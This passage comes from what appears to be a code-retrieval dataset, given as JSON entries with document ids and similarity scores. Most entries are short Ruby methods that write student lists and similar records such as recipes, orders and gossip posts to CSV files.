"text": "def save_students()\n # open file for write\n file = File.open(\"students.csv\", \"w+\")\n # iterate over students and save\n @students.each do |student|\n student_data = [student.name, student.cohort]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\n end",
"title": ""
},
{
"docid": "c643f3cdbaffd710c0515a3391b97647",
"score": "0.7240432",
"text": "def save_students\n puts \"saving students...\"\n CSV.open(\"students.csv\", \"w\") do |csv|\n @students.each do |student|\n csv << [student[:name], student[:cohort]]\n end\n end\nend",
"title": ""
},
{
"docid": "7b9e376d7a85a7892683b78674b0dd38",
"score": "0.71680045",
"text": "def save_students\n\t# open the file for writing\n\tfile = File.open(\"students.csv\", \"w\")\n\t# iterate over the array of students\n\t@students.each do |student|\n\t\tstudent_data = [student[:name], student[:cohort]]\n\t\tcsv_line = student_data.join(\",\")\n\t\tfile.puts csv_line\n\tend\n\tfile.close\nend",
"title": ""
},
{
"docid": "ccbadc1071a75a00d144044bde9c4675",
"score": "0.71609265",
"text": "def save_students\n\t#open the file for writing\n\tfile = File.open(\"students.csv\", \"w\")\n\t# iterate over the array of students\n\t@students.each do |student|\n\t\tstudent_data = [student[:name], student[:cohort], student[:hobbies]]\n\t\tcsv_line = student_data.join(\",\")\n\t\tfile.puts csv_line\n\tend\n\tfile.close\nend",
"title": ""
},
{
"docid": "dbbd6d271092045dc06d7aa4c19ead7e",
"score": "0.7147534",
"text": "def save_students\n #open the file for writing\n file = File.open(\"students.csv\", \"w\")\n @students.each do |student|\n student_data = [\n student[:name], student[:country_of_birth], student[:age],\n student[:height], student[:hobbies], student[:cohort_choice]\n ]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "af96e1f7da3460bf32efa613e4e5c4f5",
"score": "0.7121869",
"text": "def save_students\n # open the file for writing\nCSV.open(@filename, \"w\") { |file|\n @students.each { |student|\n student_data = [student[:name], student[:cohort], student[:origin], student[:dob]]\n file << student_data\n }\n }\nend",
"title": ""
},
{
"docid": "d9e986972faa98ff47c48954929da792",
"score": "0.7106132",
"text": "def save_students\n file = File.open(\"students.csv\",\"w\")\n @students.each do |student|\n student_data = [student[:name], student[:cohort], student[:hobbies], student[:birth_country],]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n puts \"information saved to student.csv\"\n file.close\nend",
"title": ""
},
{
"docid": "f5fe5678baeff8c24246f571a652db4d",
"score": "0.7100351",
"text": "def save_students\n get_filename\n puts \"File name is [#{@file_name}]\"\n # Open the file for writing\n CSV.open(@file_name,\"w\") do |csv|\n @students.each do |student|\n line = [student[:name],student[:cohort]]\n csv << line\n end\n end\n puts \"Student Details Written To File #{@file_name}\"\nend",
"title": ""
},
{
"docid": "89629bcc3f762ef5adac59d61de6e9b6",
"score": "0.7095542",
"text": "def save_students(filename)\r\n # open the file for writing using CSV Class\r\n CSV.open(filename, \"w\") do |csv|\r\n #iterate over the array of students\r\n @students.each do |student|\r\n csv << [student[:name], student[:age], student[:nationality], student[:cohort]]\r\n end\r\n end\r\nend",
"title": ""
},
{
"docid": "a21afdf0995720e5de4e2f696781e8d9",
"score": "0.7095274",
"text": "def save_students(filename = \"students.csv\")\n CSV.open(filename, \"wb\") do |csv| \n @students.each do |student|\n csv << [student[:name], student[:cohort]]\n end \n end\nend",
"title": ""
},
{
"docid": "b90fc84ec894e0b7dc0a938e59a9fbdf",
"score": "0.70831615",
"text": "def save_students\n file = File.open(\"students.csv\", \"w\") # opens the file in \"w\" (write) mode\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line # puts the csv_line to the file\n end\n file.close\nend",
"title": ""
},
{
"docid": "65fe10b099804682f645c5a252b84d63",
"score": "0.7078124",
"text": "def save_to_file\n file = File.open(\"students.csv\", \"w\")\n @all_students.each do |student|\n student_data = [student[:first_name], student[:last_name], student[:nationality], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "9a51352b2ba799d37ac2967c793c3ced",
"score": "0.706878",
"text": "def save_students\n filename = user_chose_file\n CSV.open(filename, \"w\") do |file|\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n file << student_data\n end\n end\n puts \"*Students successfully saved to #{filename}\"\nend",
"title": ""
},
{
"docid": "ac92dfaa8cd1a8b655d339d595d7bc3a",
"score": "0.7066481",
"text": "def save_students\n CSV.open(@users_file_save, \"wb\") do |file|\n @students.each do |student|\n file << student_data = [student[:name], student[:cohort]]\n end\n end\nend",
"title": ""
},
{
"docid": "efba41b1e80b230c3b000b7af6e1e677",
"score": "0.7060054",
"text": "def save_students\n filename = user_chose_file\n CSV.open(filename, \"w\") do |file|\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n file << student_data\n end\n end\n puts \"Students successfully saved to #{filename}\"\nend",
"title": ""
},
{
"docid": "91f5d9a5c82a5ab794de603a03bd6f6e",
"score": "0.70493674",
"text": "def save_students\n filename = user_chose_file\n #open the file for writing\n file = File.open(filename, \"w\")\n #iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "89073845fb37e66f1d3a1560787cef18",
"score": "0.70470095",
"text": "def save_students\n path = get_file_name\n CSV.open(path, \"w\") do |csv|\n @students.each do |student|\n csv << [student[:name], student[:cohort]]\n end\n end\n puts \"Successfully wrote #{@students.count} students to #{path}\"\nend",
"title": ""
},
{
"docid": "fda6bb35b7ecd0d6324ccd4b0ed8fe2e",
"score": "0.702023",
"text": "def save_students_with_CSV(filename = \"students.csv\")\n return if @students.count == 0\n p filename\n # open the file for writing\n CSV.open(filename, 'w') do |csv_object|\n @students.each do |student_row|\n csv_object << [student_row[:name], student_row[:cohort], student_row[:country]]\n #p student_row, csv_object\n end\n end\nend",
"title": ""
},
{
"docid": "b97746ee017eb57a95a898a866aac3dd",
"score": "0.6988949",
"text": "def save_students(students, filename = \"students.csv\")\n File::open(filename, \"w\") do |file|\n students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n end\nend",
"title": ""
},
{
"docid": "f40afc0e5e466c1e9ee6ab23d1ac739f",
"score": "0.6985268",
"text": "def save_students\n\n\t#open file for writing and save the reference(name of file, mode(r,w)) to it in file\n\tfile = File.open(\"students.csv\", \"w\")\n\n\t#iterate over the student list \n\t@students.each do |student|\n\n\t\t#take the entries of the hash and convert them into arrays and store them in student_data\n\t\tstudent_data = [student[:name], student[:cohort]]\n\n\t\t#take the array elements of student_data and join them by using a comma\n\t\tcsv_line = student_data.join(\",\")\n\n\t\t#take the joined elements and print them out in the file created\n\t\tfile.puts csv_line\n\tend\n\tfile.close\nend",
"title": ""
},
{
"docid": "1a3b8b2a9e14aefbb997b866f8f94977",
"score": "0.69827235",
"text": "def save_students\n # open the file for writing\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "1a3b8b2a9e14aefbb997b866f8f94977",
"score": "0.69827235",
"text": "def save_students\n # open the file for writing\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "d23b175c5a23717ecfd3bb897bcc2bfc",
"score": "0.6977012",
"text": "def save_students\n # open file for writing\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\n puts \"Succes! Student list saved to students.csv\\n\".c50\nend",
"title": ""
},
{
"docid": "015313f1d94978c2de16369df0536dab",
"score": "0.6971613",
"text": "def save_students(filename = \"students.csv\")\n # open the file for writing\n CSV.open(filename, \"w\") do |csv|\n # iterate over the array of saved students\n @students.each do |student|\n student_info = [student[:name], student[:cohort]]\n csv << student_info\n end\n end\n puts \"Student's information saved\"\nend",
"title": ""
},
{
"docid": "fadc715bc49e67ac26e20375e5633c27",
"score": "0.6951872",
"text": "def save_file(students) #open the file for writing\n\tputs students\n\tFile.open(\"students.csv\", \"w\") do |file|\n\t\tstudents.each do |student|\n\t\t\tstudent_data = [student[:name], student[:cohort]]\n\t\t\tcsv_line = student_data.join(\",\")\n\t\t\tfile.puts csv_line\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "56e7a9e4efafc426bf57dfab77417c59",
"score": "0.69377154",
"text": "def save_students\n # open file for writing\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:age], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "c12c265e932d5c585c78563d2c2e8f86",
"score": "0.69317555",
"text": "def save_students\n\tFile.open(@filename, \"w\") do |file|\n @students.each do |student|\n csv_line = [student[:name], convert_gender(student[:sex]), student[:course]].join(\",\")\n file.puts csv_line\n end\n end\n puts @program_phrases[\"file_saved\"]\nend",
"title": ""
},
{
"docid": "89191677df76e238f5c8127bc5d2f882",
"score": "0.6923719",
"text": "def save_data\n csv_options = { col_sep: ',', force_quotes: true, quote_char: '\"' }\n filepath = @csv_path\n\n CSV.open(filepath, 'wb', csv_options) do |csv|\n @recipes.each do |recipe|\n csv << [recipe.name.to_s, recipe.descr.to_s, recipe.dur.to_s, recipe.diff.to_s, recipe.link.to_s, recipe.made]\n end\n end\n end",
"title": ""
},
{
"docid": "ae1b9f42c546c5a227fab8c6476233f5",
"score": "0.6907438",
"text": "def save_students\n # open the file for writting\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:age], student[:cohort], student[:hobby]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "6d2be86707d636efe4c1631600b0b2a0",
"score": "0.6905742",
"text": "def save\n #file = File.open(\"./db/gossip.csv\", \"w\")\n #file.close\n file = CSV.open(\"./db/gossip.csv\", \"a+\") do |csv|\n csv << [@author, @content]\n end\n end",
"title": ""
},
{
"docid": "c1c095d849b46c5d4696058567d43c56",
"score": "0.69038695",
"text": "def save\n CSV.open(@file, \"w\") do |csv|\n @contents.each do |recipe|\n csv << [recipe.name, recipe.rating, recipe.cook_time, recipe.prep_time]\n end\n end\n end",
"title": ""
},
{
"docid": "555558bb4e1c7d5abab57bd392d7f186",
"score": "0.6903355",
"text": "def save_students\n # Create the file or open if it exists\n file = File.open(\"students.csv\", \"w\")\n # Add new lines to the file\n @students.each do |student|\n # Change from hash to array as csv doesn't play well with hash\n student_data = [student[:name], student[:cohort]]\n # Join toget the line\n csv_line = student_data.join(\",\")\n # Write to the file\n file.puts csv_line\n end\n # Save and close the file\n file.close\nend",
"title": ""
},
{
"docid": "24d32b4b6f6901af9803fa754b0c0e20",
"score": "0.6886451",
"text": "def save_data\n # open the file where the data will be exported to\n file = File.open(\"students.csv\", \"w\") # \"w\" - write; \"r\" - read\n # iterate over array of students to put data as string in file\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\", \")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "60dc45432cb18e45a18fb5575fd5a160",
"score": "0.68753123",
"text": "def save_students(filename = @loadfile)\n CSV.open(filename, \"w\") do |csv|\n # iterate over the array of students\n @students.each do |student|\n csv << [student[:name], student[:cohort]]\n end\n end\nend",
"title": ""
},
{
"docid": "1e8b663c9e949ec3c11199bf9115141e",
"score": "0.6861878",
"text": "def save\n CSV.open(@file, \"w\") do |csv|\n @contents.each do |element|\n csv << [element]\n end\n end\n end",
"title": ""
},
{
"docid": "91cb86a22fae6d2db0eb61a79d8bf6ec",
"score": "0.6860173",
"text": "def save_students(filename = \"students.csv\")\n # delete everything that was in the file before\n File.truncate(filename, 0)\n # add all students we have to the file\n CSV.open(filename, \"w\") do |file| # iterate over the array of students\n @students.each do |student|\n file << [student[:name], student[:cohort]]\n end\n end\nend",
"title": ""
},
{
"docid": "f3a6d7a424ae9f0e9f425ead78d6b6c1",
"score": "0.683667",
"text": "def save\n #file = File.open(\"./db/gossip.csv\", \"w\")\n #file.close\n file = CSV.open(\"./db/gossip.csv\", \"a+\") do |csv|\n csv << [@author, @content]\n end\nend",
"title": ""
},
{
"docid": "fe3a0ba7a80aaa4817a323a38da55d6b",
"score": "0.6832412",
"text": "def save_students\n # open the file for writing\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\n puts \"Students have been saved\"\nend",
"title": ""
},
{
"docid": "012877c940ba3662b98c1fdc1b43ecb9",
"score": "0.6828295",
"text": "def save_students(filename = \"students.csv\")\n # open the file for writing, with a block so don't need to explicitly close the file.\n CSV.open(filename, \"wb\") do |csv|\n # for each student in the array\n @students.each do |student|\n # add info to the csv file\n csv << [student[:name], student[:cohort]]\n end\n end\nend",
"title": ""
},
{
"docid": "1d0f3d7be9baa712f2c5b3c94a899e12",
"score": "0.6823921",
"text": "def save_students\n #open file for writing, second arguement is file access mode\n file = File.open(\"students.csv\", \"w\")\n #iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\n puts \"Student Directory Updated\"\n puts \"\"\nend",
"title": ""
},
{
"docid": "40472c4fe9b892d8728cbd4f2e10e0e2",
"score": "0.6823554",
"text": "def save_students\n file = File.open(\"students.csv\", \"w\")\n #2nd argument file access mode. writes data to cases.csv file\n @students.each do |student|\n data = student[:name], student[:cohort], student[:height], student[:age], student[:hobbs]\n #saves each value at corresponding hash to data as array, then joins so all one row\n csv_line = data.join(\",\")\n file.puts csv_line\n #saves data to each csv line/row of file\n end\n\n file.close\nend",
"title": ""
},
{
"docid": "c9fd1480885936c73d0d3b64e5284da9",
"score": "0.6813606",
"text": "def save_students\n\n CSV.open(ask_for_file,\"w\") do |csv_file|\n @students.each do |student|\n csv_file << student\n end\n end\n\n puts \"Yor students have been saved (You are a hero)\"\nend",
"title": ""
},
{
"docid": "2b9edda14785f6dec615893469b23a61",
"score": "0.68098843",
"text": "def save_students\n # open a file\n file = File.open(\"students.csv\", \"w\")\n # iterate over students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n puts \"#{@students.count} students saved to students.csv\"\n file.close\nend",
"title": ""
},
{
"docid": "69d9843ee73b0e3e4e1091fa68ea55ab",
"score": "0.6802356",
"text": "def save_students\n if @students.count == 0\n puts \"Students information not provided, please first (1) add some students\"\n interactive_menu\n else\n puts \"File name:\"\n file_name = STDIN.gets.chomp\n file_name << \".csv\"\n # open the file for writing\n # file = File.open(file_name, \"w\")\n\n CSV.open(file_name, \"w\") do |csv|\n # Iterante over the array of students\n @students.each do |student|\n csv << [student[:name], student[:cohort]]\n # student_data = [student[:name], student[:cohort]]\n # csv_line = student_data.join(\",\")\n # file.puts csv_line\n end\n end\n puts \"Students saved\"\n end\nend",
"title": ""
},
{
"docid": "2dff8cd35d949b7f7460ed7da0defeea",
"score": "0.6799166",
"text": "def save_to_csv\n CSV.open(@csv_path, \"wb\") do |row|\n @recipes.each do |recipe| # Loop through our recipes objects array and for each recipe object extract the name and description to add to the csv\n row << [recipe.name, recipe.description, recipe.done]\n end\n end\n end",
"title": ""
},
{
"docid": "0f9f6572b7303ce8293108c3b3e4706b",
"score": "0.6792428",
"text": "def save_as_csv\n\tFile.open(\"/home/malala/Documents/THP/suite-nokogiri/db/emails.csv\", \"w\") {|f| f.write(@tabs.getting_the_townhall.inject([]) { |csv, row| csv << CSV.generate_line(row) }.join(\"\"))}\nend",
"title": ""
},
{
"docid": "ad1fc9f9708805537c998ae25030725c",
"score": "0.6785036",
"text": "def save_as_csv\n CSV.open(\"./db/#{@name}.csv\", \"wb\") {|csv| @@D.to_a.each {|elem| csv << elem} }\n end",
"title": ""
},
{
"docid": "68cd5201da30bbf8b66d7ada7f5a593f",
"score": "0.6776952",
"text": "def save_students(filename = \"students.csv\")\n return if @students.count == 0\n p filename\n # open the file for writing\n File.open(filename, \"w\") do |file|\n # iterate over the array of students\n @students.each do |student|\n csv_line = [student[:name], student[:cohort], student[:country]].join(\",\")\n file.puts csv_line \n end\n end\nend",
"title": ""
},
{
"docid": "8d5cd9c7da02e2e27da8b5919ccf6dd3",
"score": "0.675224",
"text": "def save_to_csv\n CSV.open(@csv_file, 'w') do |row|\n row << [\"id\", \"name\", \"price\"] # Header row\n @meals.each do |meal|\n row << [meal.id, meal.name, meal.price]\n end\n end\n end",
"title": ""
},
{
"docid": "91f670bdfdb8fc8df874dc9fcbf867f4",
"score": "0.6726225",
"text": "def save_csv #Crear el metodo save_csv.\n CSV.open('todo.csv', 'wb') do |csv| #Abrir el CSV y acceder a el.\n @tasks.each do |t| #Leer el CSV y acceder a el texto.\n csv << [t.status,t.text] # Guardar el texto y el status de cada tarea.\n end #Terminar el do de el CSV.\n end #Terminar el do de @tasks.\n end",
"title": ""
},
{
"docid": "a3f6f0d5e15ea290a702218b7a5528f2",
"score": "0.6724726",
"text": "def save_students\n puts \"Where would you like to save?\"\n filename = gets.chomp\n file = File.open(filename, \"w\") do |f|\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n f.puts csv_line\n end\n end\nend",
"title": ""
},
{
"docid": "e98a8e0ea4e882575d975f98cc94208e",
"score": "0.66938305",
"text": "def save_students(filename = \"students1.csv\")\n CSV.open(filename, \"wb\") do |csv|\n @students.each do |student|\n student_as_array = [student[:name], student[:cohort]]\n csv << student_as_array\n end\n end\n puts \"The students have been saved to #{filename}!\"\nend",
"title": ""
},
{
"docid": "707f22ded454c0f9758dbe59f7de0840",
"score": "0.66802496",
"text": "def save_students\n # open the file for writing (it's going to be created in the same folder)\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line # if we call puts to a file, it's going to print in it instead of printing to screen\n end\n file.close\nend",
"title": ""
},
{
"docid": "68a54adcf21c61fe01d83fa15ac537c6",
"score": "0.6670833",
"text": "def save_to_csv\n CSV.open(@csv_file, 'w') do |csv|\n csv << [\"id\",\"meal_id\",\"customer_id\", \"employee_id\", \"delivered\"]\n @orders.each do |order|\n csv << [order.id, order.meal.id, order.customer.id, order.employee.id, order.delivered]\n # what I store in my csv are ids, so I get ids from all my models\n end\n end\n end",
"title": ""
},
{
"docid": "729e3a102e61783818e1dc9e5b5a2620",
"score": "0.6667398",
"text": "def save_to_csv\n CSV.open(@csv_file, 'wb') do |csv|\n @livros.each do |livro|\n csv << [livro.titulo, livro.autor, livro.avaliacao, livro.preco, livro.contador]\n end\n end\n end",
"title": ""
},
{
"docid": "e702cb0154fbcd850a58b10d6fe8876e",
"score": "0.66598535",
"text": "def save_csv\r\n file_name = select_csv\r\n STDOUT.puts 'Initialising save...'\r\n saving = CSV.open(\"./#{file_name}\", 'ab') do |file|\r\n @students.each do |profile|\r\n row = [profile[:name], profile[:cohort]]\r\n file << row\r\n end\r\n end\r\n STDOUT.puts \"Saved #{@students.count} profiles into #{file_name}.\"\r\nend",
"title": ""
},
{
"docid": "f4852d8da4c1628f80a0ef9102351312",
"score": "0.66322184",
"text": "def save_csv(csv_filepath, gifts)\n CSV.open(csv_filepath, 'wb') do |csv|\n gifts.each do |gift| # Itera por cada todo do array com todos os TODOs\n csv << [gift[:item], gift[:bought], gift[:price]] # Precisa colocar em um array porque o CSV é um array de arrays\n end\n end\nend",
"title": ""
},
{
"docid": "cea9d1846442f86aed8284fb70128c50",
"score": "0.6620874",
"text": "def to_csv\n students = self.students\n columns1 = %w{forename surname username regno}\n columns2 = [\"Last Access\", \"Availability\", \"TESTING UPLOAD [Total Pts: 100]\", \"Grading Notes\", \"Notes Format\", \"Feedback to Learner\", \"Feedback Format\"]\n CSV.generate(headers: true) do |csv|\n csv << columns1 + columns2\n students.each do |student|\n csv << student.attributes.values_at(*columns1) + [\" \", \"Yes\", \" \", \"#{pass_exam(student)} \", \"SMART_TEXT\" ] + export_format(student) + [\"HTML\"]\n end\n end\n end",
"title": ""
},
{
"docid": "87f72902486c9a847c0e8734a6ffd221",
"score": "0.66010964",
"text": "def save_students(filename = \"students.csv\")\n # open the file\n CSV.open(filename, \"w\") do |file|\n @students.each do |student|\n file << [student[:name], student[:cohort]]\n end\n end\n puts \"#{@students.length} student(s) saved to #{filename}\"\nend",
"title": ""
},
{
"docid": "af08e7dc3e98e6f81055aceca38b8669",
"score": "0.6561221",
"text": "def save_csv\n csv_options = { col_sep: ',', force_quotes: true, quote_char: '\"' }\n\n # wb -> \"write from beginning\" => erases the file\n # and write it from scratch\n CSV.open(@csv_file_path, 'wb', csv_options) do |csv|\n csv << ['id', 'name', 'address']\n\n @customers.each do |customer|\n csv << [customer.id, customer.name, customer.address]\n end\n end\n end",
"title": ""
},
{
"docid": "5c59cca47192cffd1aacb0e455e866da",
"score": "0.6554368",
"text": "def save_csv\n CSV.open(@file_path, \"wb\") do |csv|\n unless @elements.empty?\n csv << @elements.first.class.csv_headers\n @elements.each { |element| csv << element.to_array }\n end\n end\n end",
"title": ""
},
{
"docid": "f10c0045328ff394e6e391900823e956",
"score": "0.6549432",
"text": "def save\n \t\tCSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n \tcsv << [@author, @content]\n \t\tend\n\tend",
"title": ""
},
{
"docid": "f00e7c59ee3b562c78a5dea47043caf6",
"score": "0.6548045",
"text": "def save_students(filename)\n # open the file for writing\n CSV.open(filename_with_default(filename), \"wb\") do |file|\n # iterate over the array of students\n @students.each do |student|\n file << [student[:name], student[:cohort].to_s, student[:country_of_birth], student[:height], student[:hobby]]\n end\n puts \"Successfully saved students to #{filename_with_default(filename)}.\\n \"\n end\nend",
"title": ""
},
{
"docid": "964c1ec54a9928fe0fdc1a129c669a3a",
"score": "0.65441024",
"text": "def save_students(file_to_save)\n # open & write ('a+' - append on next line) to file using CSV library & code block\n CSV.open(file_to_save, \"a+\") do |file|\n # iterate over the array of arrays\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n # csv_line = student_data.join(\",\")\n #file.puts csv_line\n file.puts student_data\n end\n # No need for file.close as file closes when block ends \n end\n puts \"\\nSaved #{@students.count} students to #{file_to_save} file\"\nend",
"title": ""
},
{
"docid": "4aa0a53dcd1df7c61a2a964115f2d666",
"score": "0.65312856",
"text": "def save \n CSV.open(\"/Users/emma/Desktop/THP/1910_hello_wolrd_sinatra/the_gossip_project_sinatra/db/gossip.csv\", \"ab\") do |csv|\n csv << [@author, @content]\n end\n end",
"title": ""
},
{
"docid": "4fbfb57c1aef75fca7fa4a7177a38211",
"score": "0.65293115",
"text": "def save_data_in_CSV_file(table_data)\n CSV.open(\"file.csv\", \"wb\") do |csv|\n for i in 1..table_data.length\n csv << [ table_data[i-1][:nom], table_data[i-1][:url], table_data[i-1][:email] ]\n end\n end\nend",
"title": ""
},
{
"docid": "4fbfb57c1aef75fca7fa4a7177a38211",
"score": "0.65293115",
"text": "def save_data_in_CSV_file(table_data)\n CSV.open(\"file.csv\", \"wb\") do |csv|\n for i in 1..table_data.length\n csv << [ table_data[i-1][:nom], table_data[i-1][:url], table_data[i-1][:email] ]\n end\n end\nend",
"title": ""
},
{
"docid": "6486f31dbfdc0e5dc0b7d40887955bd1",
"score": "0.6512218",
"text": "def save_students\n puts \"Enter the name of the file to save\\nReturn twice to use students.csv (default)\"\n filename = filename_choice\n header_row = @students[0].each_with_object([]) { |(k, v), arr | arr << k.to_s.capitalize }\n header = CSV.open(\"#{filename}\", 'r') { |csv| csv.first }\n CSV.open(\"./#{filename}\", \"w\") do |csv|\n csv << header_row if header != header_row\n @students.each { |student| \n csv << [student[:name], student[:cohort].to_s.capitalize, student[:hobbies].join('-'), student[:country], student[:height]] \n }\n end\n puts \"Students saved to #{filename}\"\nend",
"title": ""
},
{
"docid": "597fd442254259e49183799afeb520fa",
"score": "0.65087295",
"text": "def student_to_csv(student)\n\tstudent.values\nend",
"title": ""
},
{
"docid": "bd3b9a5cdfb8b3055a75785d867252de",
"score": "0.6486325",
"text": "def save_csv_data (a)\n rAddress2 = a[3] ? \"ES\" : nil\n \n #EAGF DIRECT PAYMENTS\n if (a[4] && a[4] > 0)\n amount = a[4]\n scheme = \"ES1\"\n data = [a[1..2],rAddress2,nil,a[3],scheme,amount,nil].flatten!\n $output_file.puts CSV::generate_line(data,:encoding => 'utf-8')\n $id += 1\n end\n #EAGF OTHER PAYMENTS\n if a[5] && a[5] > 0\n amount = a[5]\n scheme = \"ES2\"\n data = [a[1..2],rAddress2,nil,a[3],scheme,amount,nil].flatten!\n $output_file.puts CSV::generate_line(data,:encoding => 'utf-8')\n $id += 1\n end\n #EAFRD PAYMENTS\n if a[6] && a[6] > 0\n amount = a[6]\n scheme = \"ES3\"\n data = [a[1..2],rAddress2,nil,a[3],scheme,amount,nil].flatten!\n $output_file.puts CSV::generate_line(data,:encoding => 'utf-8')\n $id += 1\n end\nend",
"title": ""
},
{
"docid": "413c70d3422af21bd983a2d3c1112e93",
"score": "0.647897",
"text": "def export_size_structure\n @ss = SsCoral.all\n csv_string = CSV.generate do |csv|\n csv << [\"ss_id\", \"fieldtrip_id\", \"species\", \"species_code\", \"dim_1\", \"dim_2\", \"habitat\", \"outliner_name\", \"outline_filename\", \"area_cm2\", \"ss_notes\"]\n @ss.each do |spa|\n csv << [spa.id, \"F#{spa.fieldtrip_id}\", spa.species, spa.species_code, spa.dim_1, spa.dim_2, spa.habitat, spa.outliner_name, spa.outline_filename, spa.area , spa.notes]\n end\n end\n send_data csv_string,\n :type => 'text/csv; charset=iso-8859-1; header=present',\n :disposition => \"attachment; filename=size_structure_#{Date.today.strftime('%Y%m%d')}.csv\"\n end",
"title": ""
},
{
"docid": "8673e748ce57cd8dc1325ba6072363fa",
"score": "0.64778274",
"text": "def save\n \tCSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n \t\tcsv << [@author, @content]\n \tend \n end",
"title": ""
},
{
"docid": "e420ed93b62d993390d65a8e0ed95f16",
"score": "0.6476588",
"text": "def save_students\n # open the file for writing\n puts \"What is the name of the file you would like to save?\"\n savefile_name = STDIN.gets.chomp\n \n if (savefile_name == \"\")\n savefile_name = 'students.csv'\n end\n \n CSV.open(savefile_name, 'w') do |csv|\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv.puts student_data\n end\n \n # File::open(savefile_name, \"w\") do |f|\n# @students.each do |student|\n# student_data = [student[:name], student[:cohort]]\n# csv_line = student_data.join(\",\")\n# f.puts csv_line\n# end\n puts \"\n Students were saved\n \"\n end\nend",
"title": ""
},
{
"docid": "354006eefd3ee05d7a4ca0642113115b",
"score": "0.6464172",
"text": "def to_csv\n end",
"title": ""
},
{
"docid": "a0e8e6dd4e8ef81d1e4c1ce70257c2ec",
"score": "0.6461947",
"text": "def save_students\n puts \"Which file would you like to save to?\"\n to_save = gets.chomp\n CSV.open(to_save, \"w\") do |file| #open the file fro writing\n @students.each do |student| #iterate over the students array\n student_data = [student[:name], student[:cohort]]\n file.puts student_data.join(\",\")\n end\n puts \"#{@students.length} students written to students.csv\".center(80)\n end\nend",
"title": ""
},
{
"docid": "8289bafa0dc1847be8007c7bc9839ee2",
"score": "0.64606386",
"text": "def save_students\r\n\tlist = gets.chomp\r\n\tfile = CSV.open(list, \"w\") do |file|\r\n\t\t@students.each do |student|\r\n\t\t\tstudent_data = [student[:name], student[:cohort]]\r\n\t\t\tcsv_line = student_data.join(\",\")\r\n\t\t\tfile.puts csv_line\r\n\t\tend\r\n\tend\r\n\tputs \"The list of students has been saved!\"\r\nend",
"title": ""
},
{
"docid": "f02442611caaa69ca51a9f3c1cd20379",
"score": "0.6459017",
"text": "def save_students \n filename = input_filename(@default_csv)\n \n CSV.open(filename, \"w\") do |csv|\n csv.truncate(0) # Clear file to prevent write over\n @students.each { |student| csv << [student[:name], student[:cohort]] }\n puts \"Current student list written to #{filename} successfully.\"\n sleep(1)\n end\n \nend",
"title": ""
},
{
"docid": "d99bd1e953c57177874d8623cb17ed3b",
"score": "0.64416915",
"text": "def save_students\n filename = ask_for_file\n CSV.open(filename, \"w\") do |file|\n @students.each do |student|\n file << [student[:name], student[:cohort]]\n end\n end\n puts \"#{@students.count} students have been saved to #{filename}\"\nend",
"title": ""
},
{
"docid": "5d4a5aef666f5edb21ba39225786dd7f",
"score": "0.6426252",
"text": "def save_students\n puts \"What file would you like to save to?\"\n save_file = STDIN.gets.chomp\n file = File.open(save_file, \"w\")\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "62d8287cdb8fe278c141fcc624e43db2",
"score": "0.6420232",
